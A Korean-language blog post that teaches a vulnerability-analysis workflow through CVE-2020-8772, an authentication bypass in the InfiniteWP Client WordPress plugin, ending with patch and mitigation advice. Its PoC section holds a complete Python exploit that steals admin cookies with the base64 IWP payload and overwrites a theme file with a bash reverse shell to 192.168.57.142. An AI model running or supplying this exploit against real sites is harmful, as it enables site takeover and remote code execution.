들어가며

이 글에서는 취약점 분석 방법과 InfiniteWP Client < 1.9.4.5 (CVE-2020-8772) 라는 워드프레스 플러그인 취약점 분석을 진행한다. 글 자체는 IWP 플러그인의 취약점에 대해서 설명하지만, 사실 중요한 부분은 취약점 분석 방법이다. 따라서 너무 디테일에 신경쓰기 보단 전반적인 큰 그림을 보는 것을 추천드린다.

내가 현재 사용하고 있는 취약점 분석 방법은 아주 간단하다. 이 글에서도 다음과 같은 방법으로 CVE-2020-8772 에 대해서 알아본다.

  1. 취약점이 발견된 타겟이 뭔지 알아본다
  2. 취약점에 대해 알아본다
  3. PoC 를 구한 뒤 (혹은 제작한 뒤) 실행하여 어떻게 공격이 이뤄지는지 확인한다
  4. 소스코드를 구할 수 있는 취약점이라면 코드 리뷰를 통해 취약점이 왜 발견되었는지 확인한다
  5. 취약점 공격을 할 수 있는 PoC 를 제작한다
  6. 취약점을 고칠 수 있는 방법을 알아본다

테스트 환경은 저번에 만들었던 VWP 를 이용했다.
만든 PoC 는 이 깃헙에 올려놓았다.

1. 타겟에 대해 알아본다 - Infinite WP

워드프레스는 유명한 CMS니까 넘어간다고 하더라도, Infinite WP 는 뭘까?

Infinite WP 는 여러개의 워드프레스 사이트를 관리,모니터링 해주는 플러그인이다. 워드프레스 웹사이트를 2자리수, 3자리수 단위로 운영을 하는 개인/회사라면 일일히 다른 웹사이트에 접속해 관리하기가 참 번거롭다. 그것을 한 눈에 관리할 수 있게 만들어주는 것이 Infinite WP 플러그인이다. 실제로 2020년 10월 기준으로 50만개의 워드프레스에 설치가 됐고, 2020년 1월에 취약점이 공개 되었을 때도 기사가 몇 번 날 정도로 영향력이 있는 플러그인이다.

2. 취약점에 대해 알아본다 - CVE-2020-8772  

CVE-2020-8772 는 Infinite WP Client < 1.9.4.5 플러그인에서 발견된 사용자 인증 우회 (Authentication Bypass) 취약점이다. 공격자가 워드프레스 유저의 이름을 알고 있다면 그 유저의 사용자 인증 쿠키를 알아낼 수 있다. 만약 공격자가 관리자 유저의 이름을 알고 있다면, 관리자 인증 쿠키를 받아내 워드프레스 사이트를 장악할 수 있는 심각한 취약점이다.

CVE-2020-8772 에 관련된 구글링을  하다보면 다음과 같은 취약점에 관련된 설명이 나온다.

취약점을 공격하는 페이로드는 {"iwp_action": "add_site", "params": {"username": "admin"}} 이다. 그 이외에도 더 검색을 해보면 취약점이 발생하는 지점은 init.php 파일의 iwp_mmb_set_request 함수라는 것을 알아낼 수 있다.  하지만 대부분의 취약점 관련 글과 마찬가지로 관련된 설명이 있긴 있지만, 기술적인 정보들은 찾기 힘들다. 이는 취약점 공격 재생산을 막기 위한 용도이기도 하고, 공개되는 모든 취약점에 대해 기술적인 분석을 하기엔 시간이 부족하기 때문이다.

하지만 취약점 발견, 공격, 방어를 공부하는 입장에서는 제대로된 정보를 구할 수 없어 답답한 것도 마찬가지다. 따라서 직접 플러그인을 다운 받아 소스코드를 살펴본다.

대부분 공개되는 취약점들 중에서 관련 어플리케이션의 소스코드를 볼 수 있는 경우는 거의 없다. 오픈소스 프로그램에서 발견되는 프로그램이 아닌 이상이야 당연한 일이다. 그렇기 때문에 취약점 공격을 처음 배울 때는 오픈소스 프로그램 취약점을 공부하는 것이 좋다.

3. PoC 실행

소스코드 분석에 앞서 먼저 한 번 PoC 를 실행해보고 어떤 결과가 나오는지 보자.

워드프레스 관리자의 유저 이름만 가지고도 관리자의 로그인 쿠키가 반환되는 모습을 볼 수 있다.

와이어샤크로 패킷을 살펴보면 다음과 같은 요청/응답이 이뤄지는 것을 볼 수 있다.

요청

POST 요청의 body 를 보면 base64 인코딩된 문자열이 같이 전송되는 것을 확인할 수 있다.

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjogImFkZF9zaXRlIiwgInBhcmFtcyI6IHsidXNlcm5hbWUiOiAiYWRtaW4ifX0

이를 디코딩하면 {"iwp_action": "add_site", "params": {"username": "admin"}} 가 나온다. 이게 바로 취약점을 공격하는 페이로드다.

응답

< ... SNIP … >

응답에서 눈여겨 볼 것은 바로 워드프레스가 관리자 (admin) 유저의 인증이 담긴 쿠키들을 Set-Cookie 를 통해 반환해주었다는 것이다.

응답도 마찬가지로 base64 인코딩된 문자열이 들어있는데, 이를 디코딩하면 {"error":"Invalid activation key","error_code":"iwp_mmb_add_site_invalid_activation_key"} 가 나온다.

정리를 해보면 {"iwp_action": "add_site", "params": {"username": "admin"}} 페이로드를 POST 요청안에 보내면 워드프레스는 invalid_activation_key 에러를 반환하지만, 그 에러와 함께 관리자 유저의 사용자 인증 쿠키를 같이 반환한다. 에러가 났으면 에러만 반환해야지, 사용자의 인증 쿠키를 같이 반환하다니 벌써 뭔가 이상해보인다.

PoC 를 한번 실행해 봤으니 소스코드 분석으로 넘어간다.

4. 취약점 소스코드 분석

저번에 올렸던 VWP 프로젝트의 리드미에도 나와있듯이, 워드프레스의 플러그인은 오픈소스인 경우 다운 받기가 쉬운편이다.

https://downloads.wordpress.org/plugin/<플러그인_이름>.<버전>.zip 에서 바로 다운 받으면 된다. CVE-2020-8772 의 경우에는

wget https://downloads.wordpress.org/plugin/iwp-client.1.9.4.4.zip 으로 다운받을 수 있다.

아까 위에서 언급됐던 iwp_mmb_set_request 함수가 어디에 있나 한번 찾아보자.

init.php 와 core.class.php 파일이 나온다. 이 중 실제로 함수가 선언된 곳은 init.php 니까 이 파일부터 분석해 본다.

취약점 공격을 처음 배우는 초보자의 입장에서 3000줄의 PHP 파일은 조금 버겁다. 소스코드 분석 및 시큐어 코딩을 전문적으로 하시는 분들은 시간 당 200~400줄을 보지만, 나는 지금 막 취약점 분석을 시작한 단계라 속도가 매우 느리다.

따라서 일단은 큰 그림을 보자. 먼저 중요 함수들의 위치를 파악하는 것이 중요하다.

  1. 문제의 iwp_mmb_set_request 함수는 242번째 줄에 있다.
  2. 클라이언트의 요청을 받아 파싱을 하는 iwp_mmb_parse_request 함수가 110번째 줄에 있다.
  3. 위에서 봤던 invalid_activation_key 를 반환하는 iwp_mmb_add_site 함수는 422번째 줄에 있다.

이 3가지의 함수들을 하나씩 살펴보자.

1 - iwp_mmb_set_request

먼저 취약점과 직접적으로 관련이 있는 iwp_mmb_set_request 함수를 살펴본다.

POST 요청 안 body 의 파라미터들을 변수에 저장해준다

함수의 시작 부분에서 params 변수와 action 변수에 클라이언트가 요청한 리퀘스트의 파라미터들을 집어넣는 것을 볼 수 있다.

우리가 사용한 페이로드는 이거였다.

{"iwp_action": "add_site", "params": {"username": "admin"}}

논리적으로 봤을 때, 유저는 iwp_action 으로 IWP 플러그인에게 “나는 add_site 라는 행동을 하고 싶어” 라고 알려준 뒤, add_site 행동에 필요한 파라미터 중 username=admin 을 보내는 것 같다. 따라서 $params 변수에는 username:admin 이 키/벨류 값이 저장되고, $action 변수에는 “add_site” 스트링값이 저장된다.

사용자의 이름만 가지고 user 오브젝트를 불러온 뒤 인증 쿠키를 반환하는 구간

더 아래로 내려가다 보면 유저 이름만 가지고 get_user_by 함수를 이용해 유저 오브젝트를 불러와 user 변수에 저장하는 것을 확인할 수 있다. 원래라면 클라이언트가 보내온 유저 이름과 비밀번호를 DB의 유저+비밀번호와 대조한 뒤 유저 오브젝트를 불러오겠지만, 여기서는 유저 이름만 가지고 오브젝트를 불러온다. 그 이후 wp_set_auth_cookie 를 통해 유저 ID 를 기반으로 해 사용자 인증 쿠키를 반환하는 것을 볼 수 있다. 이 쿠키들이 앞서 와이어샤크를 통해 본 Set-Cookie 들이다.

유저 이름만 가지고 사용자 인증을 한다는 것은 상식적으로 이해가 되지 않는다. 하지만 이 코드들도 이렇게 짜여진 이유가 있다. 그 이유는 다음 섹션에서 설명한다.

2 - iwp_mmb_parse_request

iwp_mmb_parse_requst 가 실행되는 init.php 파일

Init.php 파일의 맨 마지막에 가장 먼저 불려지는 함수 중 하나인 iwp_mmb_parse_request 는 이름대로 클라이언트가 보내온 요청을 파싱하는 함수다. 함수 선언 구간은 110번째 줄 이니 그쪽으로 건너뛰자.

_IWP_JSON_PREFIX 로 시작하는 POST 바디를 파싱함 

IWP 플러그인이 워드프레스에 도착하는 모든 HTTP 요청들을 처리하는 것은 아니다. 클라이언트로부터 HTTP 요청을 받을때 POST 요청의 바디가 있는지 확인하고, 바디안에 _IWP_JSON_PREFIX_<base64> 와 같은 문자열이 있다면 IWP 플러그인에서 해당 HTTP 요청을 처리하게 된다. 그래서 위에서 PoC 를 이용해 요청을 보낼 때 _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjogImFkZF9zaXRlIiwgInBhcmFtcyI6IHsidXNlcm5hbWUiOiAiYWRtaW4ifX0 이렇게 보냈던 것이다.

$action=='add_site' 를 확인한다

쭉 내리다보면 우리가 보냈던 {"iwp_action": "add_site", "params": {"username": "admin"}} 와 관련된 코드가 나온다. 먼저 클라이언트가 보내온 파라미터 중에 유저 이름이 관리자 그룹에 있는지 check_if_user_exists() 함수로 확인하는 것이 보인다. 그 후, action == ‘add_site’ 인 경우 관련된 action 과 params 를 $params['iwp_action']$iwp_mmb_core->request_params 변수에 저장한다.

iwp_mmb_parse_request 함수에서도 결국 제대로된 사용자 인증을 거치지 않는 것이 확인됐다.

3 - iwp_mmb_add_site

이것저것 취약점과 관련된 코드를 살펴봤지만, 앞서 워드프레스가 반환했던 invalid_activation_key 에러는 어디서 나온 것일까? 이 에러는 iwp_mmb_add_site 함수에서 나온다.

433~434 줄을 보면 앞서 반환됐던 에러 메시지를 확인할 수 있다. 우리가 보냈던 페이로드에는 Activation key, iwp_client_action_message_id, iwp_client_public_key 등이 전혀 없었기 때문에 Invalid Activation Key 에러가 반환됐던 것이다.

5. PoC 제작

위에서 알아본 취약점의 특징을 기반으로 PoC 를 제작해본다. 익스플로잇은 다음과 같은 단계를 거친다.

  1. URL 과 관리자 이름을 유저로부터 받는다
  2. IWP 페이로드를 이용해 타겟 워드프레스로부터 관리자 쿠키를 받아낸다
  3. 관리자 쿠키를 이용해 리버스쉘을 전송한다
  4. Theme Editor 를 이용해 archive.php 페이지를 리버스쉘로 변환한다
  5. 해당 페이지를 방문하면 리버스쉘이 작동한다

현재 메타스플로잇 모듈과 파이썬 PoC가 있지만, 이 둘과는 다른 방식으로 익스플로잇을 진행했다. 똑같은 PoC 를 만드는 것은 큰 의미가 없다고 판단했다.

기본적인 준비단계

먼저 파이썬의 requests 의 세션과 그에 필요한 헤더, iwpPayload 등을 준비해준다.

IWP 취약점을 공격하는 단계

그 뒤로는 iwpPayload 를 테스트를 해주며 관리자의 쿠키를 받아온다. 파이썬의 requests 라이브러리의 session 을 사용하게 되면 굳이 쿠키를 받아서 파싱하고 이럴 필요가 전혀없다. 쿠키 및 헤더에 필요한 정보들은 모두 session 안에 들어가기 때문이다.

이 뒤로는 워드프레스의 Theme-Editor.php 를 이용해 archive.php 를 리버스쉘로 변환시켜야 한다. 하지만 단순히 관리자의 쿠키만 가지고 있다고 해서 이것이 가능한 것은 아니다. 워드프레스의 많은 기능들은 nonce 를 이용해 리플레이 공격을 막기 때문에 일단 nonce 를 긁어와야한다.

nonce 값을 긁어오는 단계

58번째 줄에서 일단 엔드포인트를 /wp-admin/theme-editor.php?file=archive.php&theme= + themeName 로 지정해준다.

그 뒤 61~70번 줄에서 엔드 포인트가 방문 가능한지 확인한다. 73~81번 줄에서는 _wpnonce 값을 BeautfiulSoup 를 이용해 파싱 한 뒤 그 값을 반환한다.

이제 필요한 것은 모두 끝났다. 관리자의 쿠키는 session에 들어있으니 걱정없고, theme-editor.php 를 이용해 특정 페이지를 바꾸는데 필요한 _wpnonce 값도 받아왔다. 남은 일은 사용자의 페이로드를 archive.php 페이지에 집어넣기만 하면 된다.

실제 공격 페이로드를 archive.php 에 덮어쓰는 단계

마지막으로 완성된 PoC 는 다음과 같다. 깃헙링크 - https://github.com/ChoiSG/pocpractice

import sys
import time
import base64
import argparse
import requests
from bs4 import BeautifulSoup

"""
cve-2020-8772 PoC 
Author: choi
"""

def parseArguments():
    parser = argparse.ArgumentParser(add_help=True)
    parser.add_argument('-u', '--url', dest='u', type=str, help='Filename which includes list of twitter user handles', required=True)
    parser.add_argument('-name', '--name', dest='n', type=str, help='Wordpress Administrator username', required=True)
    parser.add_argument('-t', '--theme', dest='t', type=str, help='Name of the Wordpress theme in all lowercase', default='twentyseventeen', required=True)

    if len(sys.argv) == 1:
        parser.print_help()
        exit(1)

    try:
        arguments = parser.parse_args()
    except Exception as e:
        print("[-] Argument parsing failed: " + str(e))
        exit(1)

    return arguments   

def iwpExploit(session, url, header, data):
    """ 
    Exploit IWP vulnerability. All auth_cookie is stored in "session"

    :return:bool:Return True/False based on visiting the endpoint 
    """
    url = url + "/wp-admin/"
    print("[+] Trying " + url + " with IWP payload : " + data)

    try:
        res = session.post(url, headers=header, data=data)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)
    
    return True

def getNonce(session, url, header, themeName):
    """
    Get Nonce and return Nonce 

    :return:nonce:str:Nonce of the theme-editor.php?file=archive.php 
    """

    # First, see if we can visit the theme-editor.php endpoint 
    urlFirst = url + '/wp-admin/theme-editor.php'
    print("[+] Trying " + urlFirst)

    try:
        res = session.get(urlFirst, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    

    # Second, retrieve the nonce from the page and return the nonce 
    urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
    print("[+] Trying " + urlSecond)

    try:
        res = session.get(urlSecond, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    
    try:
        soup = BeautifulSoup(res.text, features='lxml')
        nonce = soup.find_all(id='_wpnonce')[0].get('value')
        print("[DEBUG] Nonce = ", nonce)
    except Exception as e:
        print('[-] Error occurred: Potential username problem - ' + str(e))
        exit(1)

    return nonce

def injectPayload(session, url, header, nonce, payload, themeName):
    """
    Inject the php payload into archive.php 

    :return:bool:True/False based on successfully injecting php payload 
    """
    url = url + "/wp-admin/theme-editor.php"
    payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}

    print("[+] Trying " + url)
    print("[+] Full Payload : ", payloadData)

    try:
        res = session.post(url, headers=header, data=payloadData)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)

    return True

def main():
    arg = parseArguments()
    baseUrl = arg.u
    username = arg.n 
    themeName = arg.t

    ######### CHANGE ME !!! ######### 
    payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.57.142/443 0>&1'");"""
    ######### CHANGE ME !!! #########

    print("[DEBUG] baseUrl - ", baseUrl)
    print("[DEBUG] username - ", username)
    print("[DEBUG] themeName - ", themeName)
    print("[DEBUG] Payload - ", payload)
    print("[DEBUG] (Make sure to change the payload)")
    print()

    # Setting up basic url, header, payload for the attack 
    if baseUrl[-1] == '/':
        baseUrl = baseUrl[:-1]

    header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"}
    iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
    iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')

    session = requests.session()
    
    # Actual Attack starts - Stages are pretty self-explanatory 

    print("[+] Stage1: IWP Exploit & Sanity Check")
    result = iwpExploit(session, baseUrl, header, iwpPayload)
    print()

    print("[+] Stage2: Getting Nonce")
    nonce = getNonce(session, baseUrl, header, themeName)
    if (nonce == False):
        print("[-] Stage 2 failed. Exiting.")
        exit(1)
    print()

    print("[+] Stage3: Injecting Payload into archive.php")
    result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
    if (result == False):
        print("[-] Stage 1 failed. Exiting.")
        exit(1)
    print()

    finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
    print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\n")
    print("[+] Visit --> ", finalUrl, "\n")


if __name__ == '__main__':
    main()

PoC 실행

현재 만들어진 PoC 는 대단히 위험한 기능을 하나 가지고 있다. 바로 리버스쉘을 archive.php 파일에 덮어씌운다는 것이다. 제대로된 PoC 라면 archive.php 파일의 내용을 백업한 뒤, 공격이 끝나고 다시 백업본을 덮어씌우는 작업을 해야한다. 하지만내가 만든 PoC 는 테스트 환경 안에서의 PoC 이지, 실제로 공격을 위한 익스플로잇 코드가 아니기 때문에 (그런건 만드는 것도, 배포하는 것도 불법이다...) 따라서 실 공격에는 사용이 거의 불가능한 PoC 를 제작했다.

각설하고 PoC 를 실행하면 취약점 공격이 이뤄진다. 이 PoC 는 테마 (theme) 의 이름도 알아야하는데, 스키디가 아닌 이상 워드프레스 사이트의 테마를 아는 방법은 잘 알려졌기 때문에 글에서 설명하지 않는다.

python3 cve-2020-8772-exploit.py -u http://127.0.0.1:8081 -n admin -t twentyseventeen

PoC 실행. 타겟 URL 을 방문하여 리버스쉘을 작동하라고 알려준다.

netcat 을 실행시켜 준 뒤 나와있는대로 archive.php 를 방문하게 되면 리버스쉘이 작동한다.

리버스쉘이 작동한 모습

6. 대응 방안 모색

유저 이름만 가지고 user 오브젝트를 불러왔던 구간

사용자의 이름만 가지고 user 오브젝트를 불러온 뒤 인증 쿠키를 반환했던 구간이 기억나는가? 처음에는 이 구간만 고치면 되겠지 라고 생각했다.

하지만 IWP 플러그인이 이런 황당한 코드를 가지고 있었던 이유가 있었다. IWP 플러그인을 맨 처음 설치할때, 해당 워드프레스 서버는 IWP 메인서버와 통신을 해야한다. 이때 메인서버가 워드프레스 서버로 add_site, readd_site 이 담긴 요청을 먼저 보내게된다. 이 첫번째 요청을 보낼 때 메인서버는 워드프레스 서버 관리자의 아이디/비밀번호를 모른채로 요청을 보내야한다. 따라서 사용자의 이름만 알고도 인증이 되게끔 코드를 만들어놓은 것이다.

따라서 실제로 취약점은 이렇게 고쳐졌다.

액션이 add_site, readd_site 면 그냥 그 요청이 무시당하도록 (return False) 고쳐진 것이다.

일반적인 사용자의 입장에서 가장 좋은 대응 방안은 IWP-Client 플러그인을 1.9.4.5로 업데이트하는 것이다.

다른 대응방안으로 WAF 룰에다가 _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjogImFkZF9zaXRlIiwgInBhcmFtcyI6IHsidXNlcm5hbWUiOiAiYWRtaW4ifX0 를 집어넣으면 안되냐고 궁금해하실 수도 있다. 문제는 이렇게 설정을 해놓은 뒤 다시 IWP 플러그인을 설치할 상황이 오면, IWP 메인서버와 통신을 못하게 된다. 따라서 이런 대응 방안을 고객사에게 알려준다면, 추후 고객사가 IWP 를 아예 사용못하게 되는 일이 일어날수도 있다. 모의침투테스터로서 저지르면 안되는 실수다.

마치며

이렇게 취약점 분석의 6단계 - 타겟 연구, 취약점 연구, PoC 실행, 소스코드 분석, PoC 제작, 대응방안 - 를 알아봤다. 취약점 분석은 직종이나 실력을 떠나 “어떻게 공격자가 타겟을 공격했는가” 와 “이 공격은 어떻게 이뤄지는가” 를 알아볼 수 있는 아주 좋은 공부 방법이다.

모의침투테스터라면 PoC 를 다운 받은 뒤 무작정 실행을 하는 것을 습관화해서는 안될 것이다. 고객사에게 어떤 영향을 줄 지 모르기 때문이다. 취약점 공격은 매우 중요하고 섬세한 작업이기 때문에 취약점 분석 및 PoC 분석을 제대로 하는 것이 모의침투테스터의 올바른 자세일 것이다.

이것과 비슷한 공부를 하실 분들은 저번 포스트에서 작성했던 취약한 워드프레스 환경을 이용하시면 된다.

https://github.com/ChoiSG/vwp

Happy hacking!

Reference

https://nvd.nist.gov/vuln/detail/CVE-2020-8772

https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/

https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/